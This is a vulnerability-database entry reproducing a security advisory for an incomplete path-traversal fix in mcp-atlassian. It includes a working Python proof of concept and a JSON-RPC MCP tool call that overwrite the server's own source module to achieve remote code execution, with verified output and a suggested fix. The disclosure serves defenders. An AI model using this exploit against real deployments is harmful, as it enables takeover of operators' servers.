GHSA-6VMQ-24H2-PJ7J
Vulnerability from github – Published: 2026-09-22 20:36 – Updated: 2026-09-22 20:36Summary
The path traversal fix introduced in v0.17.0 (GHSA-xjgw-4wvw-rgm4) is incomplete. validate_safe_path() is called without an explicit base_dir, defaulting to os.getcwd(). In standard container deployments the process CWD is the application directory (e.g. /app), so paths within that directory, including the application's own Python source modules, pass validation without
raising an exception. An attacker can overwrite a module file and achieve remote code execution on the next process restart. Versions >= 0.17.0 are not fully patched as stated in the original advisory. Confirmed on v0.21.0 (latest).
Details
src/mcp_atlassian/utils/io.py — validate_safe_path() defaults to CWD when no base_dir is supplied:
def validate_safe_path(path, base_dir=None) -> Path:
if base_dir is None:
base_dir = os.getcwd() # root of the issue
resolved_base = Path(base_dir).resolve(strict=False)
...
if not resolved_path.is_relative_to(resolved_base):
raise ValueError("Path traversal detected")
Both call sites in src/mcp_atlassian/confluence/attachments.py omit base_dir:
validate_safe_path(target_path) # line ~227, download_attachment()
validate_safe_path(target_dir) # line ~270, download_content_attachments()
When the process CWD is /app, any path under /app satisfies is_relative_to(CWD) and passes the guard, including all Python source modules:
/app/src/mcp_atlassian/confluence/attachments.py -> passes, no exception
/app/src/mcp_atlassian/servers/main.py -> passes, no exception
/app/.env -> passes, no exception
PoC
Prerequisites: same as GHSA-xjgw-4wvw-rgm4 — Confluence credentials with write access to at least one page, and network access to the MCP HTTP port.
Additionally requires Python 3.10+ and uvx to run the proof below.
The script imports validate_safe_path directly from the installed package, not a simulation of the function.
# poc_bypass.py
import os, tempfile, shutil, importlib.util
from pathlib import Path
from mcp_atlassian.utils.io import validate_safe_path # real package
print(f"Module: {validate_safe_path.__module__}")
# Simulate /app (standard container CWD)
app_dir = tempfile.mkdtemp(prefix="mcp_atlassian_app_")
module_dir = os.path.join(app_dir, "src", "mcp_atlassian")
os.makedirs(module_dir)
module_path = os.path.join(module_dir, "attachments.py")
Path(module_path).write_text('def get_secret(): return "LEGITIMATE"\n')
os.chdir(app_dir)
# Control: classic traversal is blocked
try:
validate_safe_path("/etc/passwd")
except ValueError:
print("[OK] /etc/passwd blocked")
# Bypass: intra-CWD path passes without exception
result = validate_safe_path(module_path)
print(f"[BYPASS] {result} - no exception raised")
# Overwrite module with attacker payload
# (content sourced from a Confluence attachment uploaded by the attacker)
Path(module_path).write_bytes(
b"import os\n_PWNED=True\n"
b"def get_secret():\n"
b" os.system('id')\n"
b" return 'PWNED'\n"
)
print("[WRITE] Module overwritten with malicious payload")
# Simulate process restart / module reload
spec = importlib.util.spec_from_file_location("m", module_path)
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod) # os.system('id') executes here
print(f"[RCE] get_secret() = {repr(mod.get_secret())}")
print(f"[RCE] _PWNED = {mod._PWNED}")
shutil.rmtree(app_dir)
uvx --from mcp-atlassian python poc_bypass.py
Verified output (mcp-atlassian 0.21.0):
Module: mcp_atlassian.utils.io
[OK] /etc/passwd blocked
[BYPASS] /tmp/mcp_atlassian_app_.../src/mcp_atlassian/attachments.py - no exception raised
[WRITE] Module overwritten with malicious payload
uid=1000(appuser) gid=1000(appuser) groups=1000(appuser)
[RCE] get_secret() = 'PWNED'
[RCE] _PWNED = True
Triggering via MCP tool: upload a malicious .py file as a Confluence attachment, then call:
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "confluence_download_attachment",
"arguments": {
"page_id": "<page_id>",
"attachment_id": "<malicious_attachment_id>",
"download_path": "/app/src/mcp_atlassian/confluence/attachments.py"
}
}
}
validate_safe_path does not raise. The module is overwritten and the payload executes on the next process restart.
Impact
Affected versions: 0.17.0 through 0.21.0 (latest).
Attack prerequisites are identical to those documented in GHSA-xjgw-4wvw-rgm4, which was rated CVSS 9.1 Critical. Operators who upgraded to >= 0.17.0 based on that advisory remain exposed. The MCP HTTP server binds to 0.0.0.0 with no authentication by default.
Suggested fix: pass a dedicated, explicitly configured directory as base_dir instead of relying on CWD:
_DOWNLOAD_BASE = Path(
os.environ.get("MCP_DOWNLOAD_DIR", "/tmp/mcp-downloads")
).resolve()
validate_safe_path(target_path, base_dir=_DOWNLOAD_BASE)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mcp-atlassian"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.22.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-77271"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-22T20:36:20Z",
"nvd_published_at": "2026-09-22T18:17:19Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe path traversal fix introduced in v0.17.0 (GHSA-xjgw-4wvw-rgm4) is incomplete. `validate_safe_path()` is called without an explicit `base_dir`, defaulting to `os.getcwd()`. In standard container deployments the process CWD is the application directory (e.g. `/app`), so paths within that directory, including the application\u0027s own Python source modules, pass validation without\nraising an exception. An attacker can overwrite a module file and achieve remote code execution on the next process restart. Versions \u003e= 0.17.0 are not fully patched as stated in the original advisory. Confirmed on v0.21.0 (latest).\n\n### Details\n\n`src/mcp_atlassian/utils/io.py` \u2014 `validate_safe_path()` defaults to CWD when no `base_dir` is supplied:\n\n```python\ndef validate_safe_path(path, base_dir=None) -\u003e Path:\n if base_dir is None:\n base_dir = os.getcwd() # root of the issue\n resolved_base = Path(base_dir).resolve(strict=False)\n ...\n if not resolved_path.is_relative_to(resolved_base):\n raise ValueError(\"Path traversal detected\")\n```\n\nBoth call sites in `src/mcp_atlassian/confluence/attachments.py` omit `base_dir`:\n\n```python\nvalidate_safe_path(target_path) # line ~227, download_attachment()\nvalidate_safe_path(target_dir) # line ~270, download_content_attachments()\n```\n\nWhen the process CWD is `/app`, any path under `/app` satisfies `is_relative_to(CWD)` and passes the guard, including all Python source modules:\n\n```\n/app/src/mcp_atlassian/confluence/attachments.py -\u003e passes, no exception\n/app/src/mcp_atlassian/servers/main.py -\u003e passes, no exception\n/app/.env -\u003e passes, no exception\n```\n\n### PoC\n\n**Prerequisites:** same as GHSA-xjgw-4wvw-rgm4 \u2014 Confluence credentials with write access to at least one page, and network access to the MCP HTTP port.\nAdditionally requires Python 3.10+ and `uvx` to run the proof below.\n\nThe script imports `validate_safe_path` directly from the installed package, not a simulation of the function.\n\n```python\n# poc_bypass.py\nimport os, tempfile, shutil, importlib.util\nfrom pathlib import Path\nfrom mcp_atlassian.utils.io import validate_safe_path # real package\n\nprint(f\"Module: {validate_safe_path.__module__}\")\n\n# Simulate /app (standard container CWD)\napp_dir = tempfile.mkdtemp(prefix=\"mcp_atlassian_app_\")\nmodule_dir = os.path.join(app_dir, \"src\", \"mcp_atlassian\")\nos.makedirs(module_dir)\nmodule_path = os.path.join(module_dir, \"attachments.py\")\nPath(module_path).write_text(\u0027def get_secret(): return \"LEGITIMATE\"\\n\u0027)\nos.chdir(app_dir)\n\n# Control: classic traversal is blocked\ntry:\n validate_safe_path(\"/etc/passwd\")\nexcept ValueError:\n print(\"[OK] /etc/passwd blocked\")\n\n# Bypass: intra-CWD path passes without exception\nresult = validate_safe_path(module_path)\nprint(f\"[BYPASS] {result} - no exception raised\")\n\n# Overwrite module with attacker payload\n# (content sourced from a Confluence attachment uploaded by the attacker)\nPath(module_path).write_bytes(\n b\"import os\\n_PWNED=True\\n\"\n b\"def get_secret():\\n\"\n b\" os.system(\u0027id\u0027)\\n\"\n b\" return \u0027PWNED\u0027\\n\"\n)\nprint(\"[WRITE] Module overwritten with malicious payload\")\n\n# Simulate process restart / module reload\nspec = importlib.util.spec_from_file_location(\"m\", module_path)\nmod = importlib.util.module_from_spec(spec)\nspec.loader.exec_module(mod) # os.system(\u0027id\u0027) executes here\n\nprint(f\"[RCE] get_secret() = {repr(mod.get_secret())}\")\nprint(f\"[RCE] _PWNED = {mod._PWNED}\")\n\nshutil.rmtree(app_dir)\n```\n\n```bash\nuvx --from mcp-atlassian python poc_bypass.py\n```\n\n**Verified output (mcp-atlassian 0.21.0):**\n\n```\nModule: mcp_atlassian.utils.io\n\n[OK] /etc/passwd blocked\n[BYPASS] /tmp/mcp_atlassian_app_.../src/mcp_atlassian/attachments.py - no exception raised\n[WRITE] Module overwritten with malicious payload\nuid=1000(appuser) gid=1000(appuser) groups=1000(appuser)\n[RCE] get_secret() = \u0027PWNED\u0027\n[RCE] _PWNED = True\n```\n\n**Triggering via MCP tool:** upload a malicious `.py` file as a Confluence attachment, then call:\n\n```json\n{\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"confluence_download_attachment\",\n \"arguments\": {\n \"page_id\": \"\u003cpage_id\u003e\",\n \"attachment_id\": \"\u003cmalicious_attachment_id\u003e\",\n \"download_path\": \"/app/src/mcp_atlassian/confluence/attachments.py\"\n }\n }\n}\n```\n\n`validate_safe_path` does not raise. The module is overwritten and the payload executes on the next process restart.\n\n### Impact\n\n**Affected versions:** 0.17.0 through 0.21.0 (latest).\n\nAttack prerequisites are identical to those documented in GHSA-xjgw-4wvw-rgm4, which was rated CVSS 9.1 Critical. Operators who upgraded to \u003e= 0.17.0 based on that advisory remain exposed. The MCP HTTP server binds to `0.0.0.0` with no authentication by default.\n\n**Suggested fix:** pass a dedicated, explicitly configured directory as `base_dir` instead of relying on CWD:\n\n```python\n_DOWNLOAD_BASE = Path(\n os.environ.get(\"MCP_DOWNLOAD_DIR\", \"/tmp/mcp-downloads\")\n).resolve()\n\nvalidate_safe_path(target_path, base_dir=_DOWNLOAD_BASE)\n```",
"id": "GHSA-6vmq-24h2-pj7j",
"modified": "2026-09-22T20:36:20Z",
"published": "2026-09-22T20:36:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-6vmq-24h2-pj7j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77271"
},
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/pull/1448"
},
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
},
{
"type": "PACKAGE",
"url": "https://github.com/sooperset/mcp-atlassian"
},
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "MCP Atlassian: Incomplete path traversal fix allows intra-CWD module overwrite and RCE (bypass of GHSA-xjgw-4wvw-rgm4)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.